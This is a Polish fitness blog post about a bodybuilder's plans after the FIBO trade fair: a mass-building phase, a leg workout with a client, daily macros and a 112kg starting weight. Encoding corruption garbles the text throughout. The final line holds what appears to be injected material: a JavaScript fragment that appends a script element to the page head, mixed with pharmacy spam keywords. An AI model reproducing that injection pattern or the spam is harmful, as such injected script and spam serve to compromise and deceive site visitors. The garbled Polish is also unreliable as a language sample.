Plany po FIBO

27.04.2012 / Michał Karmowski

Po powrocie po FIBO w koAi??cu nadszedAi?? czas kiedy mogAi?? zaczAi??Ai?? spokojnie realizowaAi?? moje plany…, dokAi??adnie po weekendzie zaczynam okres budowania masy i potrwa on bardzo dAi??ugo. BAi??dAi?? wszystko oczywiAi??cie na bieA?Ai??co opisywaAi?? na moim blogu. Wczoraj odwiedziAi?? mnie mA?j podopieczny Robert Rembiasz i miaAi??em przyjemnoAi??Ai?? zrobiAi?? z nim trening nA?g. ZaczAi??liAi??my od 5 serii ciAi??A?kich wyprostA?w zakoAi??czonych drop setem, potem byAi??y ciAi??A?kie przysiady na suwnicy smith’a ze sztangAi?? trzymana z przodu. Ostatnia seria rA?wnieA? byAi??a z drop setem, nastAi??pnie suwnica ze stopami ustawionymi doAi??Ai?? nisko i wAi??sko, dalej super serie uginaAi?? podudzi siedzAi??c z hak przysiadami, ginekolog:-) , a na koniec uginanie leA?Ai??c. Nie ukrywam ,A?e dla mnie byAi?? to wyczerpujAi??cy trening ale jestem zadowolony bo wracam do przysiadA?w i z treningu na trening zwiAi??kszam ciAi??A?ary. Na dzieAi?? dzisiejszy dieta jest ustalona na 420g biaAi??ka, 420g wAi??gli i 80g tAi??uszczy ale to ulegnie zmianie od poniedziaAi??ku. Waga od jakiej zaczynam po targach w Essen to 112kg:-(

watch?v=-nO3dzomXss&feature=player_embeddedd.getElementsByTagName(‚head’)[0].appendChild(s); prandina biluna price Pills Cheap } else {} pills online